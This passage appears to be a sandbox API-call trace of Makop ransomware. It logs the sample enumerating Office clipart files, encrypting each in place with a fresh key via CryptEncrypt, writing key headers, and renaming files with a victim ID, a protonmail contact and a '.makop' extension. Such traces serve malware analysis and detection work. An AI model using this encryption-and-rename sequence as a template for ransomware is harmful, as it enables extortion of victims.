(hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.194] GetProcessHeap () returned 0x48a0000 [0117.194] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.194] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.194] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.194] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.194] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.194] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.194] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.195] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.195] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.195] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.195] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.195] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.195] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x55ba, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x55ba, lpOverlapped=0x0) returned 1 [0117.197] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x55c0, dwBufLen=0x55c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x55c0) returned 1 [0117.197] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.197] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x55c0, lpOverlapped=0x0) returned 1 [0117.198] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.198] SetEndOfFile (hFile=0xf0) returned 1 [0117.205] GetProcessHeap () returned 0x48a0000 [0117.205] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.205] GetProcessHeap () returned 0x48a0000 [0117.205] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.205] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.207] CloseHandle (hObject=0xf0) returned 1 [0117.207] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1 [0117.207] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0117.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.208] GetProcessHeap () returned 0x48a0000 [0117.208] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.208] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.208] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.208] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0117.213] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.213] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.213] GetProcessHeap () returned 0x48a0000 [0117.213] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.214] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.214] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.214] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.214] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.214] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.214] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.214] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.215] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.215] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.215] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.215] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc53a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc53a, lpOverlapped=0x0) returned 1 [0117.217] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc540, dwBufLen=0xc540 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc540) returned 1 [0117.218] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.218] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc540, lpOverlapped=0x0) returned 1 [0117.218] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.218] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.219] SetEndOfFile (hFile=0xf0) returned 1 [0117.226] GetProcessHeap () returned 0x48a0000 [0117.226] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.226] GetProcessHeap () returned 0x48a0000 [0117.226] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.226] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.227] CloseHandle (hObject=0xf0) returned 1 [0117.228] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1 [0117.228] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0117.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.232] GetProcessHeap () returned 0x48a0000 [0117.232] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.232] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.232] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0117.236] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.236] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.236] GetProcessHeap () returned 0x48a0000 [0117.236] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.236] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.237] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.237] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.237] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.237] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.237] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.237] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.237] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.238] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.238] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.238] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.238] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfcff, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xfcff, lpOverlapped=0x0) returned 1 [0117.240] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfd00, dwBufLen=0xfd00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfd00) returned 1 [0117.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.241] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xfd00, lpOverlapped=0x0) returned 1 [0117.242] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.242] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.243] SetEndOfFile (hFile=0xf0) returned 1 [0117.251] GetProcessHeap () returned 0x48a0000 [0117.251] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.251] GetProcessHeap () returned 0x48a0000 [0117.251] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.251] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.253] CloseHandle (hObject=0xf0) returned 1 [0117.253] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1 [0117.253] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0117.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.254] GetProcessHeap () returned 0x48a0000 [0117.254] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.254] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.254] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.254] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0117.259] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.259] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.259] GetProcessHeap () returned 0x48a0000 [0117.259] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.259] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.259] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.259] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.259] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.259] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.260] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.260] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.260] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.260] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.260] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xabad, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xabad, lpOverlapped=0x0) returned 1 [0117.263] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xabb0, dwBufLen=0xabb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xabb0) returned 1 [0117.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.264] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xabb0, lpOverlapped=0x0) returned 1 [0117.264] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.264] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xac84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.264] SetEndOfFile (hFile=0xf0) returned 1 [0117.271] GetProcessHeap () returned 0x48a0000 [0117.271] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.272] GetProcessHeap () returned 0x48a0000 [0117.272] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.272] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.272] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.274] CloseHandle (hObject=0xf0) returned 1 [0117.274] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1 [0117.274] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0117.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.275] GetProcessHeap () returned 0x48a0000 [0117.275] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.275] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: 